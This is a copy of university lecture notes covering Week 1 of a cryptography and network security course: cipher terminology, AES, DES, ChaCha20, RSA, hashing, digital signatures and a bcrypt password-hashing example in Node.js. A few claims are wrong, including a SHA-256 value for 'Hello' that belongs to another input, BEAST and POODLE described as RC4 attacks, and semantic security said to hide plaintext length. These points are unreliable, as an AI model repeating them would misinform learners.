0% found this document useful (0 votes)
4 views29 pages

BIT6163_Weeks1-3_Notes

The document contains lecture notes for the BIT 6163 course at Lincoln University College, covering the fundamentals of cryptography and network security over the first three weeks. Topics include symmetric and asymmetric encryption, authentication protocols, and common cyber threats, aimed at providing students with essential knowledge for secure web application development. Key concepts such as encryption, decryption, cryptographic keys, and various encryption algorithms are also discussed in detail.

Uploaded by

adoubye1667
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views29 pages

BIT6163_Weeks1-3_Notes

The document contains lecture notes for the BIT 6163 course at Lincoln University College, covering the fundamentals of cryptography and network security over the first three weeks. Topics include symmetric and asymmetric encryption, authentication protocols, and common cyber threats, aimed at providing students with essential knowledge for secure web application development. Key concepts such as encryption, decryption, cryptographic keys, and various encryption algorithms are also discussed in detail.

Uploaded by

adoubye1667
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

CRYPTOGRAPHY & NETWORK SECURITY

BIT 6163 — Lincoln University College

Document Lecture Notes – Weeks 1 to 3

Module Part 1: Cryptography & Network Security (20%)

Programme Bachelor of Information Technology

Institution Lincoln University College (DKU016-B)

Academic Year 2024 / 2025

WEEK 1 Cryptography Fundamentals


WEEK 2 Authentication & Secure
WEEK 3 Comms Web & Network S

These notes cover Part 1 of BIT 6163, providing a comprehensive foundation in cryptography and network
security principles. Students will explore encryption methods, authentication protocols, and common cyber
threats essential for building secure web applications.
BIT 6163 – Cryptography & Network Security
Lincoln University College

TABLE OF CONTENTS

WEEK 1 — Cryptography Fundamentals 3


1.1 Introduction to Cryptography 3

1.2 Symmetric Encryption 4

1.3 Asymmetric Encryption 5

1.4 Hashing & Digital Signatures 6

1.5 Password Hashing with bcrypt 8

WEEK 2 — Authentication & Secure Communication 9


2.1 Authentication vs Authorization 9

2.2 JWT Token-Based Authentication 10

2.3 HTTPS and TLS Basics 12

2.4 Secure Login Flow Design 13

WEEK 3 — Web & Network Security Threats 14


3.1 Cross-Site Scripting (XSS) 14

3.2 Cross-Site Request Forgery (CSRF) 16

3.3 SQL Injection 17

3.4 Secure Coding Practices 18

3.5 Firewalls, IDS and IPS 19

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 2 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Cryptography Fundamentals
WEEK 1 Encryption · Hashing · Digital
Signatures

Learning Objectives

• Understand the difference between symmetric and asymmetric encryption

• Explain how hashing works and why it is irreversible

• Understand digital signatures and their role in data authenticity

• Implement basic password hashing using bcrypt in JavaScript

1.1 Introduction to Cryptography


Cryptography is the science of securing information by transforming it into an unreadable format
so that only authorized parties can access it. It is the bedrock of modern digital security — every
time you log into a website, send an email, or make an online payment, cryptographic algorithms
are protecting your data in transit and at rest.

The word "cryptography" comes from the Greek words kryptos (hidden) and graphein (to write).
Modern cryptography is a branch of mathematics and computer science concerned with protocols
that prevent third parties from reading private messages.

Core Terminology

Before diving into specific cryptographic techniques, it is essential to understand the precise
vocabulary used throughout this course. The following terms form the foundation of all
cryptographic discussion. Each term is explained with a definition, context, and a real-world
analogy to reinforce understanding.

1. Plaintext
Definition: Plaintext (also called cleartext) is the original, human-readable data or message
before any cryptographic transformation has been applied. It is the information in its natural,
unprotected form.

Examples: A typed email ("Dear John, please find attached the contract..."), a password entered
in a login form ("P@ssword123"), a credit card number ("4111 1111 1111 1111"), or a medical
record stored in a database.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 3 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Why it matters: Plaintext must never be stored or transmitted without protection. Any attacker
who intercepts plaintext data immediately has full access to the sensitive information. Network
sniffers, database breaches, and server logs that accidentally capture plaintext are among the
most common sources of data leaks.

Real-World Analogy — Plaintext


• Plaintext is like a postcard. The message is written in plain view and anyone who handles it
during delivery — postal workers, sorting centres, anyone — can read it without any effort.

2. Ciphertext
Definition: Ciphertext is the output produced after applying a cryptographic algorithm to plaintext.
It is an unreadable, scrambled representation of the original data. Without the correct key and
algorithm, ciphertext appears as random, meaningless data.

Example: The plaintext message "HELLO" encrypted using AES-256 with a specific key might
produce the ciphertext: 3d4f9a2b1c8e7f0a5b6c... — a sequence of bytes that reveals
nothing about the original message to an observer.

Key property: Good ciphertext should be computationally indistinguishable from random data.
This means an attacker cannot even determine the length or structure of the original plaintext by
examining the ciphertext alone — this property is called semantic security.

Real-World Analogy — Ciphertext


• Ciphertext is like a letter locked inside a sealed, opaque envelope. Even if the postman
handles it, they cannot read the contents. Only the person with the correct key (to open the
envelope) can access the message inside.

3. Encryption
Definition: Encryption is the process of applying a mathematical algorithm (cipher) to plaintext
using a cryptographic key to produce ciphertext. It is the fundamental mechanism by which data is
protected from unauthorized access. Encryption does NOT destroy the original data — it
transforms it in a reversible way, so that the authorized recipient can recover it.

Types of encryption: Encryption can be applied to data at rest (stored data, such as files on a
hard drive or records in a database) and data in transit (data travelling across a network, such as
HTTPS web traffic or encrypted email). Both forms are equally important in a complete security
strategy.

Mathematical basis: Modern encryption relies on computationally hard mathematical problems.


For symmetric encryption (like AES), this is typically based on the confusion and diffusion
properties of substitution-permutation networks. For asymmetric encryption (like RSA), it is based
on the difficulty of factoring the product of two large prime numbers.

4. Decryption

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 4 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Definition: Decryption is the reverse process of encryption — it converts ciphertext back into the
original plaintext using a key. Only a party in possession of the correct decryption key can
successfully perform this operation.

Symmetric vs Asymmetric decryption: In symmetric systems, the same key is used for both
encryption and decryption. In asymmetric systems, a different but mathematically related key is
used — the public key encrypts, and the private key decrypts (for confidentiality use), or the
private key signs, and the public key verifies (for authentication use).

5. Cryptographic Key
Definition: A cryptographic key is a piece of information (a sequence of bits) that is fed into an
encryption or decryption algorithm to control how it transforms the data. The key is what makes
the same algorithm produce different ciphertext from the same plaintext for different users.
Crucially, the security of a cryptographic system lies in the secrecy of the key, not the
algorithm — this is known as Kerckhoffs's principle.

Key sizes: Key size is measured in bits. Larger keys provide exponentially more security. A
128-bit key has 2¹²■ possible values (~3.4 × 10³■). Even if an attacker could check one trillion
keys per second, it would take longer than the age of the universe to try them all. AES-256
(256-bit key) is currently considered quantum-resistant for practical purposes.

Table: Key Size Comparison

Key Size Example Security Level Notes


Algorithm

56-bit DES Broken Cracked in 22 hours with specialized hardware in


(insecure) 1999

128-bit AES-128 Strong Sufficient for most current applications

192-bit AES-192 Very Strong Used in some government and military contexts

256-bit AES-256 Excellent Recommended; considered quantum-safe for


symmetric encryption

2048-bit RSA-2048 Strong Minimum recommended for RSA; much larger keys
(asymmetric) needed vs symmetric

6. Cipher
Definition: A cipher is the specific algorithm or set of rules used to perform encryption and
decryption. The cipher defines the mathematical operations that scramble the data. Different
ciphers offer different trade-offs between speed, security, and computational resource
requirements.

Block ciphers vs Stream ciphers: A block cipher divides plaintext into fixed-size blocks (e.g.,
128 bits for AES) and encrypts each block as a whole unit. A stream cipher encrypts data one bit
or byte at a time, producing a keystream that is XORed with the plaintext. Block ciphers are
generally used for stored data; stream ciphers are often preferred for real-time communication
(e.g., TLS record encryption).

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 5 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Table: Cipher Type Comparison

Cipher Type How It Works Speed Examples

Block Cipher Encrypts fixed-size data blocks (e.g., Moderate AES, DES, 3DES, Blowfish
128 bits at a time)

Stream Cipher Encrypts data one bit/byte at a time Very Fast ChaCha20, RC4 (obsolete)
using a pseudorandom keystream

Substitution Replaces each character with another N/A Caesar cipher, ROT13
Cipher (classical, not modern)

Transposition Rearranges characters without N/A Rail fence, columnar


Cipher replacing them (classical) transposition

7. Cryptanalysis
Definition: Cryptanalysis is the scientific study of breaking cryptographic systems — recovering
plaintext from ciphertext without access to the key, or finding weaknesses in cryptographic
algorithms. It is the offensive counterpart to cryptography. Security researchers use cryptanalysis
to test and validate new cryptographic designs before they are deployed.

Common cryptanalytic attacks include: Brute force (trying all possible keys), dictionary attacks
(trying likely passwords from a list), rainbow table attacks (precomputed hash lookups), differential
cryptanalysis (analysing how differences in plaintext affect the ciphertext), and side-channel
attacks (exploiting implementation details like timing or power consumption rather than the
algorithm itself).

8. Salt
Definition: A salt is a random value added to a password (or other data) before hashing. It
ensures that two users with the same password will have different hashes stored in the database.
Salts defeat rainbow table attacks and precomputed hash lookups because attackers would need
to precompute a separate rainbow table for every possible salt value.

9. Protocol
Definition: A cryptographic protocol is a defined sequence of steps that governs how
cryptographic operations are carried out between two or more parties. Protocols specify how keys
are exchanged, how messages are authenticated, and how sessions are established and
terminated. Examples include TLS (Transport Layer Security), SSH (Secure Shell), and PGP
(Pretty Good Privacy).

10. Public Key Infrastructure (PKI)


Definition: PKI is the set of roles, policies, hardware, software, and procedures needed to create,
manage, distribute, use, store, and revoke digital certificates. It provides a framework of trust for
public-key cryptography. At its core is the Certificate Authority (CA) — a trusted organisation that
digitally signs certificates to vouch that a public key truly belongs to the stated entity. When your
browser shows a padlock for HTTPS, it is verifying a certificate issued by a trusted CA.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 6 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

1.2 Symmetric Encryption


Symmetric encryption uses the same key for both encryption and decryption. It is also called
secret-key or shared-key cryptography. Because the same key is used on both ends, symmetric
algorithms are generally very fast and efficient, making them ideal for encrypting large volumes of
data.

Figure 1: Symmetric vs Asymmetric Encryption Flow

SYMMETRIC ENCRYPTION

Plaintext ■ Encrypt■(Same Key) Ciphertext ■ Decrypt■(Same Key) ✓

ASYMMETRIC ENCRYPTION

Plaintext Public Key■Encrypt Ciphertext Private Key■Decrypt ✓

Same Key (Symmetric) Public Key Private Key

Both parties share the same secret key in symmetric encryption, while asymmetric encryption uses a mathematically
linked key pair.

How Symmetric Encryption Works:


The sender applies an encryption algorithm (cipher) using a shared secret key to produce
ciphertext. The receiver uses the identical key to reverse the process and recover the original
plaintext. The security depends entirely on keeping the key secret.

Table 1: Overview of Common Symmetric Encryption Algorithms

Algorithm Key Size Type Security Level Common Use

AES 128/192/256 Block Very High File encryption, TLS, VPNs, disk encryption
bit

DES 56 bit Block Broken Legacy systems only — do not use


(obsolete)

3DES 168 bit Block Moderate Banking legacy (being phased out)

ChaCha20 256 bit Stream Very High Mobile, TLS 1.3, Google services

Blowfish 32–448 bit Block High Password hashing (basis of bcrypt)

RC4 40–2048 bit Stream Broken Avoid in all new systems


(obsolete)

Detailed Overview of Each Symmetric Algorithm

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 7 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Algorithm 1 — AES (Advanced Encryption Standard)


Background: AES was established by the US National Institute of Standards and Technology
(NIST) in 2001 following a five-year public competition. The underlying algorithm — called
Rijndael — was designed by Belgian cryptographers Joan Daemen and Vincent Rijmen. It
replaced the ageing DES standard and is now the most widely deployed symmetric encryption
algorithm in the world.

How it works: AES is a block cipher that operates on fixed 128-bit (16-byte) blocks of data. It
applies a series of mathematical transformations — called rounds — to mix and substitute the bits
in the block. The number of rounds depends on the key size: 10 rounds for 128-bit keys, 12 for
192-bit keys, and 14 for 256-bit keys. Each round involves four operations: SubBytes
(substitution), ShiftRows (permutation), MixColumns (diffusion), and AddRoundKey (key mixing).

Security: AES-128 would require 2¹²■ operations to brute-force — a number so large it is


computationally infeasible with all computing power on Earth. AES-256 adds an extra margin,
making it the recommended choice for sensitive long-term data. No practical cryptanalytic attack
has broken AES; all known attacks require more computational effort than brute force.

Operating modes: AES alone is a block cipher — to encrypt data longer than 128 bits, it must be
used in an operating mode. Common modes include: CBC (Cipher Block Chaining) — each block
is XORed with the previous ciphertext block; GCM (Galois/Counter Mode) — provides both
encryption and authentication (authenticated encryption); and CTR (Counter Mode) — converts
AES into a stream cipher, suitable for parallel processing.

Real-world deployment: AES is used in HTTPS/TLS (securing all web traffic), WPA2/WPA3
(Wi-Fi security), BitLocker (Windows disk encryption), FileVault (macOS disk encryption),
WhatsApp and Signal (end-to-end message encryption), and government and military classified
communications.

Algorithm 2 — DES (Data Encryption Standard)


Background: DES was the first publicly available symmetric cipher standardized by the US
government, adopted in 1977. It was designed by IBM with NSA input. For nearly two decades, it
was the standard for commercial and government encryption. However, its 56-bit key size was
criticized even at the time of publication as potentially too small — a concern that proved justified.

How it works: DES is a Feistel cipher that processes 64-bit blocks using a 56-bit key through 16
rounds of substitution and permutation operations. In each round, the block is split in half; the right
half is expanded, XORed with a subkey, passed through 8 S-boxes (substitution tables), and
permuted before being XORed with the left half. The halves are then swapped.

Why DES is obsolete: In 1998, the Electronic Frontier Foundation (EFF) built "Deep Crack", a
specialized computer costing only $250,000 that broke a DES-encrypted message in 22 hours
and 15 minutes. Today, the same task could be accomplished in minutes using modern cloud
computing. DES should never be used in any new system.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 8 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Warning: DES is Completely Broken


• DES uses only a 56-bit key, providing approximately 72 quadrillion possible keys.
• Modern CPUs can test billions of keys per second. Dedicated hardware breaks DES in under 1
day.
• Any data encrypted with DES should be considered compromised. Migrate immediately to
AES.

Algorithm 3 — 3DES (Triple DES)


Background: As DES weaknesses became apparent in the 1990s but a new standard was not
yet available, a stopgap solution was devised: apply DES three times in succession. This is Triple
DES (3DES), also known as TDEA (Triple Data Encryption Algorithm).

How it works: 3DES applies the DES cipher three times to each data block using three different
keys (K1, K2, K3) in an Encrypt–Decrypt–Encrypt (EDE) sequence: first encrypt with K1, then
decrypt with K2, then encrypt again with K3. When all three keys are unique (3-key 3DES), the
effective key length is 168 bits, though due to a meet-in-the-middle attack the actual security level
is closer to 112 bits.

Current status: NIST deprecated 3DES in 2017 and officially disallowed its use for new
applications from 2023. It is still found in older banking systems, payment terminals, and legacy
enterprise software. It is significantly slower than AES (roughly 3x slower, processing only about
16 MB/s vs AES's 700+ MB/s on modern hardware).

Algorithm 4 — ChaCha20
Background: ChaCha20 is a stream cipher designed by cryptographer Daniel J. Bernstein in
2008 as an evolution of his earlier Salsa20 cipher. It was designed to be fast in software without
requiring hardware acceleration — making it ideal for resource-constrained environments like
mobile devices and embedded systems.

How it works: ChaCha20 generates a 512-bit pseudorandom keystream block by applying 20


rounds of "quarter-round" operations (add, XOR, and rotate) to a 512-bit state that includes the
256-bit key, a 64-bit nonce (number used once), and a 64-bit block counter. This keystream is
XORed with the plaintext to produce ciphertext. Changing the nonce produces an entirely different
keystream.

ChaCha20-Poly1305: In practice, ChaCha20 is almost always paired with the Poly1305 message
authentication code to produce an AEAD (Authenticated Encryption with Associated Data)
scheme. This combination simultaneously encrypts and authenticates the data. It is the default
cipher suite in TLS 1.3 for devices without AES hardware acceleration, and is used by Google,
Cloudflare, OpenSSH, and WireGuard VPN.

Algorithm 5 — Blowfish
Background: Blowfish was designed by cryptographer Bruce Schneier in 1993 as a fast, free
alternative to DES and the then-proprietary IDEA cipher. It was one of the first widely available

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 9 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

ciphers with a variable key length and became popular in the late 1990s and 2000s. While
Blowfish itself is rarely used for direct data encryption today, its legacy lives on through bcrypt —
the password hashing function that uses a Blowfish variant called "Eksblowfish" (expensive key
schedule Blowfish).

How it works: Blowfish is a 64-bit block cipher with a key size from 32 to 448 bits. It uses a
Feistel network structure with 16 rounds. A notable feature is its key expansion phase, which
takes any key and expands it into several subkey arrays totalling 4,168 bytes. This expensive
setup is intentional — it makes brute-force key searches slow, which is exploited by bcrypt to
make password cracking impractical.

bcrypt connection: The bcrypt password hashing function was designed to use Blowfish's key
setup algorithm because it is computationally expensive. The "cost factor" in bcrypt controls how
many times the key expansion is performed — higher cost means more work per hash, making
brute-force attacks proportionally slower. This is covered in detail in Section 1.5.

Algorithm 6 — RC4 (Rivest Cipher 4)


Background: RC4 was designed by Ron Rivest of RSA Security in 1987. It was kept as a trade
secret until 1994 when it was leaked anonymously. RC4 became widely deployed because of its
extreme simplicity and speed — the entire algorithm is just a few lines of code. It was used in
WEP (Wi-Fi), SSL/TLS (older versions), and early versions of Microsoft's RDP protocol.

Why RC4 is broken: Multiple serious vulnerabilities have been discovered in RC4. The first few
bytes of the keystream are statistically biased — they are not truly random, which allows statistical
attacks. The BEAST, POODLE, and RC4 biases attacks exploited these weaknesses to decrypt
TLS traffic. RFC 7465 (2015) formally prohibits RC4 in all TLS connections. WEP (which used
RC4) was completely broken and WPA with RC4 (TKIP) has also been deprecated. RC4 must
never be used.

Warning: RC4 is Cryptographically Broken


• RC4 produces biased keystream output — the first bytes reveal information about the key.
• Multiple published attacks can decrypt RC4-encrypted TLS traffic in real time.
• RC4 is prohibited in all modern TLS/SSL standards (RFC 7465). Do not use it under any
circumstances.

Advantages of Symmetric Encryption — Explained

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 10 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

1. Extremely Fast Symmetric algorithms, particularly AES, are designed for


Processing Speed computational efficiency. Modern CPUs include dedicated AES-NI
(AES New Instructions) hardware acceleration that can encrypt data
at speeds exceeding 10 Gigabytes per second. This makes
symmetric encryption the only practical choice for encrypting large
volumes of data — hard drives, database fields, video streams, file
archives, and real-time communications. Asymmetric encryption
(covered in Section 1.3) is roughly 1,000–10,000 times slower and is
impractical for bulk data.

2. Low Computational Because symmetric ciphers operate through bitwise operations


Overhead (XOR, shift, substitution), they require minimal CPU and memory
resources. This makes symmetric encryption suitable for embedded
systems, IoT devices, smartcards, and battery-powered devices
where processing power and energy are scarce. A microcontroller
with just 8KB of RAM can run AES encryption, whereas RSA key
operations would be orders of magnitude heavier.

3. Simplicity of The mathematical operations in symmetric ciphers (especially


Implementation stream ciphers like ChaCha20) are relatively straightforward to
implement correctly in software. There are well-tested, open-source
libraries for every programming language. This reduces the risk of
implementation errors compared to the complex mathematics of
asymmetric systems (modular exponentiation, elliptic curve point
multiplication). Simple, audited code means fewer security
vulnerabilities introduced during implementation.

4. Strong, AES-256 has withstood decades of public cryptanalytic scrutiny from


Well-Standardized the world's best mathematicians and cryptographers. No practical
Security attack is known. The algorithm was chosen through an open,
international competition, and its security properties are deeply
understood. The same cannot be said for obscure or proprietary
algorithms. AES is approved for protecting US government classified
information up to TOP SECRET level.

5. Confidentiality of Data Symmetric encryption excels at protecting data both when stored
at Rest and in Transit (encryption at rest) and when being transmitted (encryption in
transit). A database administrator can encrypt individual columns
containing sensitive fields (e.g., Social Security numbers, medical
records) using AES-256 without affecting query performance
significantly, thanks to the algorithm's speed.

Disadvantages of Symmetric Encryption — Explained

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 11 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

1. The Key Distribution This is the fundamental weakness of symmetric cryptography. If


Problem Alice wants to send Bob an encrypted message using a shared key,
she first needs to securely send that key to Bob — but if the channel
is insecure, the key itself could be intercepted. This creates a
chicken-and-egg problem: you need a secure channel to share the
key, but you need the key to create a secure channel. In practice,
this is solved by using asymmetric encryption to exchange the
symmetric key — a technique called a "key agreement protocol" or
"key encapsulation mechanism." TLS uses exactly this approach
during its handshake.

2. Total Compromise if In a symmetric system, the key is the entire security mechanism. If a
the Key is Exposed single key is compromised — through theft, interception, insider
threat, or poor key management — ALL data encrypted with that key
is immediately exposed, including historical data. This is known as
catastrophic key compromise. Good practice requires regular key
rotation, generating new keys periodically, and using different keys
for different data classification levels. Forward secrecy (using new
keys per session) mitigates this risk but requires key exchange
protocols.

3. No Built-in Symmetric encryption provides confidentiality (only the key holder


Authentication of the can read the data), but it does NOT prove who sent the message. If
Sender Alice and Bob share a key, and Alice receives an encrypted
message, she can decrypt it — but she cannot determine whether it
was truly sent by Bob or by an attacker who somehow obtained the
shared key. Providing authenticity requires additional mechanisms:
MACs (Message Authentication Codes), digital signatures (which
require asymmetric cryptography), or AEAD (Authenticated
Encryption with Associated Data) modes like AES-GCM.

4. Key Management In a network of n users where every pair needs to communicate


Scalability Problem securely with a unique shared key, the total number of keys required
is n(n-1)/2. For 10 users, that is 45 keys. For 1,000 users, it is
499,500 keys. For 1 million users (e.g., a banking system), over 499
billion unique keys would be needed. Generating, distributing,
storing, and revoking this many keys is practically impossible. This is
why the internet moved to asymmetric key systems: each user only
needs ONE key pair, and any two users can establish a shared
secret using public-key methods.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 12 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

5. No Non-Repudiation Because both parties share the same key, either party could have
created any given encrypted message. This means symmetric
encryption alone cannot provide non-repudiation — the property that
prevents a sender from falsely denying they sent a message. In legal
and contractual contexts (e-signatures, financial transactions, audit
trails), non-repudiation is essential. It requires digital signatures,
which use asymmetric cryptography where only the private key
holder can create a valid signature.

1.3 Asymmetric Encryption


Asymmetric encryption, also called public-key cryptography, uses a mathematically linked key
pair: a public key that can be shared freely, and a private key that must remain secret. What
one key encrypts, only the other can decrypt.

This elegant mathematical relationship solves the key distribution problem that plagued symmetric
encryption. You can freely publish your public key — anyone can use it to send you encrypted
messages — but only you, holding the private key, can decrypt them.

Dual-Use of Key Pairs:

Scenario Key Used to Encrypt Key Used to Decrypt Purpose

Confidential Message Recipient's Public Key Recipient's Private Key Only recipient reads it

Digital Signature Sender's Private Key Sender's Public Key Proves sender's identity

Table 2: Common Asymmetric Encryption Algorithms

Algorithm Key Size Use Case

RSA 2048–4096 bit Key exchange, digital signatures, TLS certificates

ECC (ECDSA/ECDH) 256–521 bit Efficient signatures, TLS, mobile devices

Diffie-Hellman Variable Key exchange (not encryption directly)

ElGamal 1024+ bit Encryption, basis of DSA

DSA 1024–3072 bit Digital signatures (government standard)

Symmetric vs Asymmetric: Quick Comparison


• Speed: Symmetric is ~1000x faster than asymmetric.
• Key Management: Asymmetric eliminates the key-sharing problem.
• In Practice: TLS uses asymmetric encryption to securely exchange a symmetric key, then
switches to symmetric for bulk data transfer. This is called a hybrid approach.
• Security Principle: AES-256 symmetric is computationally secure; RSA-2048 relies on the
mathematical difficulty of factoring large prime numbers.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 13 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Advantages of Asymmetric Encryption — Explained

1. Solves the Key The most significant advantage of asymmetric cryptography is that it
Distribution Problem eliminates the need to share a secret key over a secure channel.
Your public key can be published openly — on a website, in an email
signature, or in a public key directory. Anyone can use it to send you
an encrypted message. Only you, holding the private key, can
decrypt it. This fundamentally transforms how secure communication
is established across untrusted networks.

2. Enables Digital Asymmetric encryption enables digital signatures: a sender uses


Signatures and their private key to sign a message, and anyone can verify the
Non-Repudiation signature using the sender's public key. Because only the private key
holder could have created the signature, and private keys are kept
secret even from the recipient, digital signatures provide
non-repudiation — the sender cannot later deny having sent the
message. This is the foundation of e-commerce, legal contracts,
software distribution, and code signing.

3. Scalability Across In a network of n users, each user only needs ONE key pair
Large Networks regardless of how many other users they need to communicate with.
This is dramatically more scalable than symmetric systems. Every
HTTPS website uses the same infrastructure: one key pair per
server, and millions of clients can securely connect to it without any
pre-shared secret.

4. Enables Public Key Asymmetric cryptography is the foundation of PKI — the system of
Infrastructure (PKI) certificates and certificate authorities that makes HTTPS trustworthy.
A certificate binds an entity's identity to their public key, signed by a
trusted Certificate Authority. Your browser trusts thousands of
websites securely because of this system, without needing to
pre-configure any secret keys.

Disadvantages of Asymmetric Encryption — Explained

1. Much Slower Than Asymmetric operations (particularly RSA key operations) involve
Symmetric Encryption modular exponentiation with very large numbers — mathematically
intensive operations that are 1,000–10,000 times slower than AES.
RSA-2048 encryption might process just a few kilobytes per second,
compared to AES-256's gigabytes per second. This makes
asymmetric encryption completely impractical for encrypting large
files or real-time data streams. In practice, it is only used to encrypt
small pieces of data, typically symmetric session keys.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 14 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

2. Larger Key Sizes To achieve equivalent security to symmetric keys, asymmetric keys
Required must be dramatically larger. A 256-bit AES key provides roughly the
same security as a 3,072-bit RSA key. This means longer
computation times, more storage, and larger certificate sizes.
Modern ECC (Elliptic Curve Cryptography) partially addresses this —
a 256-bit ECC key provides security comparable to 3,072-bit RSA —
but ECC operations are still slower than symmetric operations.

3. Complex Mathematics Asymmetric algorithms involve sophisticated mathematics — number


and Implementation theory, finite field arithmetic, modular exponentiation, and elliptic
curve operations. Implementing these correctly and securely is
extremely difficult. Subtle implementation flaws (timing attacks,
padding oracle attacks, weak random number generation for keys)
have broken otherwise sound asymmetric systems in practice.
Cryptography practitioners follow the rule: "never roll your own
crypto" — always use well-audited, battle-tested libraries like
OpenSSL, libsodium, or the [Link] crypto module.

4. Private Key Security is While public keys can be freely shared, the security of the entire
Critical asymmetric system depends on the absolute secrecy of the private
key. If a private key is stolen, compromised, or generated with
insufficient entropy, all communications and signatures are
immediately compromised. Private key management — secure
generation, encrypted storage, backup procedures, and revocation
— is operationally complex and a common source of real-world
security failures.

1.4 Hashing and Digital Signatures


A hash function is a one-way mathematical function that transforms an input of any size into a
fixed-size output called a hash, digest, or checksum. Unlike encryption, hashing is irreversible
— you cannot recover the original input from the hash output. This property makes hashing ideal
for verifying data integrity and storing passwords securely.

Figure 2: How Hashing Works

Input Data Hash Function■(SHA-256, MD5) Fixed-Size Hash■(e.g. 256-bit)

✗ Cannot reverse
ONE-WAY (Irreversible)

No matter how large the input, SHA-256 always produces a 256-bit (64-character hex) output. Changing even one
character in the input produces a completely different hash.

Properties of a Good Hash Function:

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 15 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Property Description Why It Matters

Same input always produces the


Deterministic same hash. Allows verification and comparison.

Regardless of input size, output is


Fixed Output Size always the same length. Predictable storage and comparison.

Pre-image Cannot reverse the hash to find the Passwords cannot be recovered from their
Resistance original input. hash.

Tiny changes in input produce


Avalanche Effect drastically different hashes. Prevents educated guessing of inputs.

Virtually impossible to find two


Collision Resistance inputs with the same hash. Ensures data uniqueness and integrity.

Fast Computation Hash can be computed quickly. Efficient verification of large files.

Hash Algorithm Examples — Same Input, Different Algorithms:


Algorithm Hash of "Hello" Output Size

MD5 (obsolete) 8b1a9953c4611296a827abf8c47804d7 128 bit

SHA-1 (weak) f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0 160 bit

SHA-256 a591a6d40bf420404a011733cfb7b190d62c65bf0bcda32b57b277d9ad9f14
(standard) 6e 256 bit

SHA-3 (modern) 8ca66ee6b2fe4bb928a8e3cd2f508de4119c0895f22df72... 256/512 bit

Variable
bcrypt (password) $2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p972OR8... (salted)

Digital Signatures
A digital signature is a cryptographic mechanism that proves the authenticity and integrity of a
message. It answers two critical questions: (1) Did this message really come from the claimed
sender? (2) Has the message been tampered with in transit?

Digital signatures combine hashing with asymmetric cryptography. The sender hashes the
message and then encrypts the hash with their private key — this encrypted hash is the
signature. The receiver decrypts the signature using the sender's public key, then independently
hashes the received message. If both hashes match, the signature is valid.

Ste
p Action By Whom

1 Compute hash of the message (e.g., SHA-256) Sender

2 Encrypt hash with sender's Private Key → Digital Signature Sender

3 Transmit: Message + Digital Signature Network

4 Receiver decrypts signature with sender's Public Key → Hash A Receiver

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 16 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

5 Receiver independently hashes the received message → Hash B Receiver

6 Compare Hash A and Hash B. If equal → Verified! Receiver

1.5 Password Hashing with bcrypt


bcrypt is a password hashing function designed by Niels Provos and David Mazières in 1999.
Unlike general-purpose hash functions (SHA-256, MD5) that are designed to be fast, bcrypt is
intentionally slow and resource-intensive, making brute-force attacks computationally impractical.
It also automatically generates and incorporates a salt (random data) into each hash, preventing
rainbow table attacks.

Why NOT to store plain passwords


• If a database is breached, all user passwords are immediately exposed.
• Users often reuse passwords across sites — a breach becomes catastrophic.
• Even encryption is risky — if the key is found, all passwords are revealed.
• ALWAYS hash passwords before storing. Never store them in plaintext or encrypted form.

bcrypt Implementation in [Link] (JavaScript):

// Install bcrypt npm install bcrypt // Import the library const bcrypt =
require('bcrypt'); // Define the salt rounds (cost factor) // Higher = slower &
more secure (10-12 is standard) const saltRounds = 10; // ■■ HASHING a password
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ const plainPassword =
"MySecretPassword123"; [Link](plainPassword, saltRounds, (err, hash) => {
if (err) throw err; [Link]("Hashed password:", hash); // Output:
$2b$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p972OR8... // Store THIS hash in your
database — NEVER the plaintext! storeInDatabase(hash); }); // ■■ VERIFYING a
password ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ const userInput =
"MySecretPassword123"; // from login form const storedHash = getFromDatabase();
// the hash stored earlier [Link](userInput, storedHash, (err, result)
=> { if (err) throw err; if (result) { [Link]("Password is correct! Login
successful."); } else { [Link]("Incorrect password. Access denied."); } });

Student Task – Week 1


• Create a small [Link] script (hash_demo.js).
• Hash 5 different passwords using bcrypt (saltRounds = 10).
• Store the hashes in an array.
• Write a compare() function to verify user input against stored hashes.
